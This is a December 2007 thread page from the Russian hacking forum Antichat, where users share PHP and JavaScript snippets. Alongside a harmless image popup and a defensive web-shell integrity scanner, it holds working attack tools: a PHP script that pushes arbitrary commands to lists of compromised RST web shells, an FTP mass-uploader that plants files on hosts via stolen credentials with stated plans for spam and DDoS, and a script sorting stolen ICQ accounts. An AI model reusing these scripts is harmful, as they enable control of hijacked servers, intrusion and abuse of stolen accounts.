ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > PHP, PERL, MySQL, JavaScript
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #241  
Старый 02.12.2007, 22:10
Аватар для VADIK-XXX
VADIK-XXX
Познающий
Регистрация: 18.10.2006
Сообщений: 42
Провел на форуме:
119338

Репутация: 3
По умолчанию

Автосерфинг:

ExchangeVisits v 3.00

Скачать
 
Ответить с цитированием

  #242  
Старый 07.12.2007, 12:53
Аватар для real_kas
real_kas
Познающий
Регистрация: 22.03.2007
Сообщений: 45
Провел на форуме:
110666

Репутация: 9
Thumbs up

Код, попап изображения.
Главное его свойство, это то что нет зазоров в открываемом окне. Фотка выводиться как есть.
Очень удобно. Можно внедрить в PHP, и забыть о том, что фотки открываются в новом окне, или в некрасивом виде.

Код:
/**
Кроссбраузерный JavaScript-код
Проверено в: NN9,FF2&3,Opera,IE7
*/
timeout = 0;
function Start(URL, WIDTH, HEIGHT) {
windowprops = "width=" + (WIDTH+2) + ",height=" + (HEIGHT+2);
text = "<html><head><title>Image</title></head><body bgcolor='#dddddd' style='padding: 1px; margin: 0'";
if (timeout != 0) text +=" onLoad=\"setTimeout('window.close()', " + timeout*1000 + ");\"";
text += "><center><img src='" + URL + "'>";
if (timeout != 0) text +="<br><font face='Tahoma, helvetica' size='-1'>Preview closes after " + timeout + " seconds.</font>";
text += "</center></body></html>";
preview = window.open("", "preview", windowprops);
preview.document.open();
preview.document.write(text);
preview.document.close();
}
вызов функции:

Код:
<a href="javascript:Start('большая_фотка.jpg', 600, 450)";><img src="маленькая_фотка.jpg" alt="Альт"/></a>
 
Ответить с цитированием

  #243  
Старый 09.12.2007, 14:41
Аватар для .::Gh0st::.
.::Gh0st::.
Гарант Форума
Регистрация: 22.01.2005
Сообщений: 267
Провел на форуме:
1982081

Репутация: 1067
Отправить сообщение для .::Gh0st::. с помощью ICQ
Post

может пригодиться счастливым обладателям большого колличества rst шеллов (которые кстати по гуглу насобирать без проблем можно). просто кидаете список с шеллами в файл и задаете команду в скрипте. функционал может быть дополнен до безграничности. можете загружать на хосты скрипты и выполнять их (например спамскрипты). в общем фантазия вам в помощь для дальнейших модификаций. скрипт работает по принципу cyber ddos system. в частности это его немного передаланная версия, оптимизированы некоторые участки кода + убрана часть в которой идет загрузка перлового ддосера. в общем расширена специализация скрипта.

тестировалось на rst шеллах версии 1.31

PHP код:
<?php
//rst mass cmd executer by .::Gh0st::.

//[1]define
$shells "shells.txt";
$cmd "id";
//end of [1]

//[2]get shells list
$handle fopen($shells"r");
$buffer fread($handlefilesize($shells));
fclose($handle);
//end of [2]

function post($post $method$host$port$path$header)
{
    
$params "";
    if (
$method == "POST")
    {
        foreach (
$post as $name => $val)
        {
            if (
$params == "")
            {
                
$params $name."=".$val;
            }
            else
            {
                
$params $params."&".$name."=".$val;
            }
        }
        
        
$post "POST ".$path." HTTP/1.0\r\n";
        
$post .= "Host: $host\r\n";
        
$post .= $header;
        
$post .= "Content-Type: application/x-www-form-urlencoded\r\n";
        
$post .= "Content-Length: ".strlen($params)."\r\n\r\n";
        
$post .= "$params\r\n\r\n";
    }
    
$fp fsockopen($host$port$errno$errstr5);
    if(!
$fp){ echo "$errstr ($errno)<br>\n"; }
    else
    {
        
fputs($fp$post);
        
$result "";
        while(!
feof($fp)) {    $result .= fgets($fp,128);}
        
fclose($fp);
    }
    return  
$result;
}

$header "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6\r\n";
$header .= "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n";
$header .= "Accept-Language: en-us,en;q=0.5\r\n";
$header .= "Accept-Encoding: gzip,deflate\r\n";
$header .= "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n";
$header .= "Referer: http://".$host.$path."\r\n";

$post_data = array ("php_eval" => $cmd"dir" => """cmd" => "php_eval""submit" => "go",);

//sending command
$buffer explode("\n"$buffer);
for(
$i=0$i count($buffer); $i++)
{
    if (!empty(
$buffer[$i]))
    {
        
$shell explode("/"$buffer[$i]);
        
$host $shell[2];
        
$dir preg_split('/http:\/\/|\//i'$buffer[$i], 3);
        
$path "/".$dir[2];
        
$content post($post_data"POST"$host80$path$header);
        
flush();
        
$pos strpos($content'safe_mode: <b><font color=red>OFF');
        if (
$pos === false)
        {
            echo 
"<center><font color=red>$host not work (maybe save safe_mode=on)</font></center>";
        }
        else
        {
            echo 
"<center><font color=blue>$host</font> command executed</center>";
        }
    }
}
//end of sending command
php?>
насчет заливщика, я писал как-то заливщик для фтп-акков, но у него очень слабый функционал. он заливает в какую-либо конкретно указанную директорию.
PHP код:
<?
set_time_limit
(0);
error_reporting(0);
ignore_user_abort(1);

$upl 'jupra.php'# file to upload
$ftp 'good.txt';  # input list
$dir1 'images';     # directory to upload
$dir2 'avatars';    # deeper directory to upload

echo "<b>[*]task started</b><br>";

$handleftp fopen($ftp,'r');
while (!
feof($handleftp))
{

$buffer fgets($handleftp);
$buffer explode('@',$buffer);
$host trim($buffer[1]);
$buffer explode(':',$buffer[0]);
$pass $buffer[2];
$buffer explode('/',$buffer[1]);
$logn $buffer[2];


$connect ftp_connect($host,21,30);
if (
$connect === false)
    {}
else
    {
    if (
ftp_login($connect,$logn,$pass) === false)
        {}
    else
        {
        
ftp_chdir($connect,'public_html');
        
ftp_mkdir($connect,$dir1);
        
ftp_chdir($connect,$dir1);
        
ftp_mkdir($connect,$dir2);
        
ftp_chdir($connect,$dir2);
        
$handle fopen($upl,'r');
        if (
ftp_fput($connect$upl$handleFTP_ASCII))
        {
        
$good fopen('uploaded.txt','a');
        
$string "http://$host/$dir1/$dir2/$upl\r\n";
        
fwrite($good,$string);
        
fclose($good);
        echo 
$string;
        }
        else {echo 
"error uploading\r\n";}
        
fclose($handle);
        }
    
ftp_close($connect);
    }
}
fclose($handleftp);
echo 
'<b>[*]task finished</b>';
?>
ни много ни мало, мы уже получаем аналог продаваемого софта от sboy (ессно более слабого). в дальнейшем я хочу оптимизировать код заливщика (поиск директорий и заливать файл как-можно подальще, чтобы не спалили админы) и код скрипта исполняющего команды, ну и объединить их ессно. получится такой кроссплатформенный скриптег, через который можно будет залить на список фтп веб-шеллы, а потом им передавать любые команды (заливка скрипта и его исполнение (спам / ддос).

только 1 вопрос волнует - кого-нить это вообще интересует?

Последний раз редактировалось .::Gh0st::.; 09.12.2007 в 14:56..
 
Ответить с цитированием

  #244  
Старый 10.12.2007, 01:05
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Вот скрипт для защиты от измененных/удаленных файлов и залитых веб шеллов, не панацея но все же.

Скрипт сканирует все файлы/папки начиная от папки в которой лежит скрипт и пишет результат в файл data.txt. В котором будут хранится имена каталогов+все файлы в этом каталоге с их контрольной суммой.

Ну а затем скрипт сверяется со снимком и на основании отсутствия файла/измененной контрольной суммы/отсутствия записи о файле делает выводы о том что файл был удален/изменен/создан. Также заодно и происходит сканирование на созданные/удаленные папки...

Собственно например создали сайт, довели до ума - он работает, делаем снимок, сливаем с хоста data.txt и сохраняем этот файл у себя на компе(с хоста удаляем!)...

Затем через месяцок узнаем что этот сайт взломали, ну а хацкеров есть привычка еще и лить веб шелл, и иногда троянить скрипты. Ну чтобы не парится и не просматривать каждый файл, мы сканируем скриптом хост, и он выдаст все веб шеллы с головой
PHP код:
<?php 
set_time_limit
(0);
ignore_user_abort(true);
function 
new_scan_dir($catalog){
    
$cat_file='';
    
$cat_file[$catalog]='';
    
$dir opendir ($catalog);
    
$i=0;
    
$filesh='';
    while (
$file readdir ($dir)){
        if((
$file!='..')&&($file!='.')){
            if(
filetype($catalog.'/'.$file)==='file')$cat_file[$catalog].=urlencode($file).':'.md5(implode('',file($catalog.'/'.$file))).'>';
            if((
filetype($catalog.'/'.$file)==='dir')){
                foreach(
new_scan_dir($catalog.'/'.$file) as $key => $value){
                    
$cat_file[$key]=$value;
                }
            }
            
$filesh.=$catalog.'/'.$file.'
'
;
            if(
$i===5){
                echo(
$filesh);
                
flush();
                
$filesh='';
                
$i=0;
            }
            
$i++;
        }
    }
    
closedir ($dir);
    return 
$cat_file;
}

function 
scan_dir($all_files,$catalog){
    
$ret='';
    
$ent='
'
;
    if(
file_exists($catalog)){
        if(
array_key_exists($catalog$all_files)){
            if(!empty(
$all_files[$catalog])){
                
$now_dir1=explode('>',$all_files[$catalog]);
                foreach(
$now_dir1 as $value){
                    
$now_dir2=explode(':',$value);
                    
$now_dir[urldecode($now_dir2[0])]=$now_dir2[1];
                }
                foreach(
$now_dir as $key => $value){
                    if(
file_exists($catalog.'/'.$key)){
                        if(
md5(implode('',file($catalog.'/'.$key)))!=$value)$ret.='Файл "'.$catalog.'/'.$key.'" был изменен.'.$ent;
                    }else 
$ret.='Файл "'.$catalog.'/'.$key.'" был удаленн.'.$ent;
                }
                
$dir opendir ($catalog);
                while (
$file readdir ($dir)){
                    if((
$file!='..')&&($file!='.')){
                        if((
filetype($catalog.'/'.$file)==='dir'))$ret.=scan_dir($all_files,$catalog.'/'.$file);
                        if((
filetype($catalog.'/'.$file)==='file')){
                            if(!
array_key_exists($file$now_dir))$ret.='Файл "'.$catalog.'/'.$file.'" был создан'.$ent;
                        }
                    }
                }
                
closedir ($dir);
            }else{
                
$dir opendir ($catalog);
                while (
$file readdir ($dir)){
                    if((
$file!='..')&&($file!='.')){
                        if((
filetype($catalog.'/'.$file)==='dir')){
                            if(!
array_key_exists($catalog.'/'.$file$all_files))$ret.='Папка "'.$catalog.'/'.$file.'" была создана'.$ent;
                            else 
$ret.=scan_dir($all_files,$catalog.'/'.$file);
                        }
                        if((
filetype($catalog.'/'.$file)==='file'))$ret.='Файл "'.$catalog.'/'.$file.'" был создан'.$ent;
                    }
                }
                
closedir ($dir);
            }
        }else 
$ret.='Папка "'.$catalog.'" была созданна.'.$ent;
    }else 
$ret.='Папка "'.$catalog.'" была удаленна.'.$ent;
    return 
$ret;
}

function 
scan_d_dir($all_files){
    
$ret='';
    
$ent='
'
;
    foreach(
$all_files as $key => $value){
        if(!
file_exists($key))$ret.='Папка "'.$key.'" была удалена'.$ent;
    }
    return 
$ret;
}

$ent='
'
;
if(!empty(
$_GET['do'])){
    if(
$_GET['do']==='new'){
        echo(
'<pre>');
        echo(
'Создание снимка...'.$ent);
        
$save_text='';
        foreach(
new_scan_dir('.') as $key => $value){
            
$save_text.=urlencode($key).'=>'.substr($value,0,strlen($value)-1).$ent;
        }
        
$save_text=substr($save_text,0,strlen($save_text)-2);
        
$file fopen ('data.txt','w');
        
fputs $file$save_text);
        
fclose ($file);
        echo(
'Снимок сделан...');
        echo(
'</pre>');
    }elseif(
$_GET['do']==='scan'){
        if(
file_exists('data.txt')){
            
$files=explode($ent,implode('',file('data.txt')));
            foreach(
$files as $value){
                
$now_dir=explode('=>',$value);
                
$all_files[urldecode($now_dir[0])]=$now_dir[1];
            }
            echo(
'<pre>'.scan_dir($all_files,'.').scan_d_dir($all_files).'</pre>');
        }
    }
}
echo(
'<hr>
<input type="submit" value="Сделать снимок" onclick="document.location.replace(\'?do=new\')"><br>
<input type="submit" value="Сканировать" onclick="document.location.replace(\'?do=scan\')">'
);
?>
Вот полученный снимок:
Код:
.=>index.php:44ecd2d513e0faec7acfff7f849f7e70>data.txt:c1fe1feab40f6853be5d0555f33d596c
.%2F1=>1%F2.txt:d41d8cd98f00b204e9800998ecf8427e
.%2F1%2F2=>
.%2F1%2F2%2F3=>
.%2F1%2F2%2F3%2F4=>
.%2F1%2F2%2F3%2F4%2F5=>
.%2F1%2F2%2F3%2F4%2F5%2F6=>1.txt:e11170b8cbd2d74102651cb967fa28e5
ЗЫ Люди кто поюзал/юзает напишите нравится оно вам или нет какие минусы/плюсы, только без наркоманской критики
__________________
Кто я?..

Последний раз редактировалось I-I()/Ib; 10.12.2007 в 01:09..
 
Ответить с цитированием

  #245  
Старый 10.12.2007, 01:52
Аватар для astrologer
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

1) Болезненно реагирует на пустые директории.
2) Постоянно считает один из файлов в поддиректории изменённым.
 
Ответить с цитированием

  #246  
Старый 10.12.2007, 02:01
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Цитата:
Сообщение от astrologer  
1) Болезненно реагирует на пустые директории.
2) Постоянно считает один из файлов в поддиректории изменённым.
насчет первого поподробнее...
насчет второго все правильно o_O так как data.txt меняется
__________________
Кто я?..
 
Ответить с цитированием

  #247  
Старый 10.12.2007, 02:25
Аватар для astrologer
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Сообщение от I-I()/Ib  
насчет первого поподробнее...
насчет второго все правильно o_O так как data.txt меняется
1) Скрипт находится на одном уровне с директориями:
test
cache
файлами, которые в данный момент значения не имееют. Обе директории пусты.
Делаем снимок и сканируем:
Код:
Notice: Undefined offset: 1 in y:\home\z.z\www\test.php on line 43

Warning: implode() [function.implode]: Bad arguments. in y:\home\z.z\www\test.php on line 47
Файл "./data.txt" был изменен. 
Файл "./test/ " был изменен.
data.txt - всё верно.
Директория test не изменялась.

2) Да понятно, что data.txt меняется)
Оставляем только одну поддиректорию - "cache". В ней создаем файл 1.txt
Делаем снимок и сканируем, получаем:
Файл "./data.txt" был изменен. - верно
Файл "./cache/1.txt" был изменен. ?

Последний раз редактировалось astrologer; 10.12.2007 в 02:27..
 
Ответить с цитированием

  #248  
Старый 10.12.2007, 02:30
Аватар для Dr.Z3r0
Dr.Z3r0
Leaders of The World
Регистрация: 06.07.2007
Сообщений: 246
Провел на форуме:
2030482

Репутация: 1796
По умолчанию

Пытался повторить твой опыт в домашних условиях... У меня работает норм... O_o
Может с правами чтения чет?
__________________
Кто я?..

Последний раз редактировалось I-I()/Ib; 10.12.2007 в 02:34..
 
Ответить с цитированием

  #249  
Старый 11.12.2007, 12:18
Аватар для astrologer
astrologer
Постоянный
Регистрация: 30.08.2007
Сообщений: 773
Провел на форуме:
3069349

Репутация: 808


По умолчанию

Цитата:
Сообщение от I-I()/Ib  
Пытался повторить твой опыт в домашних условиях... У меня работает норм... O_o
Может с правами чтения чет?
Если больше ни у кого не проявляется, то неважно.
С правами точно проблем нет
 
Ответить с цитированием

  #250  
Старый 12.12.2007, 11:07
Аватар для scrat
scrat
Постоянный
Регистрация: 08.04.2007
Сообщений: 853
Провел на форуме:
5812656

Репутация: 1540


Отправить сообщение для scrat с помощью ICQ
По умолчанию

Скрипт разбивки угнанных асег по файлам:
PHP код:
<?php
 $r
=";"//разделитель
 
$f=file("source.txt"); //файл с аськами
 
$si=fopen("6.txt","a+"); //шохи
 
$s=fopen("7.txt","a+"); //семёрки
 
$e=fopen("8.txt","a+"); //восьмёры
 
$n=fopen("9.txt","a+"); //девятки
 
$o=fopen("o.txt","a+"); //остальное
 
for($i=0;$i<count($f);$i++)
 {
     
$l=explode($r,trim($f[$i]));
     switch(
strlen($l[0]))
     {
         case 
6fwrite($si,$f[$i]);break;
         case 
7fwrite($s,$f[$i]);break;
         case 
8fwrite($e,$f[$i]);break;
         case 
9fwrite($n,$f[$i]);break;
         default: 
fwrite($o,$f[$i]);break;
     }
 }
 
fclose($si);
 
fclose($s);
 
fclose($e);
 
fclose($n);
 
fclose($o);
?>

Последний раз редактировалось scrat; 30.12.2007 в 00:00..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ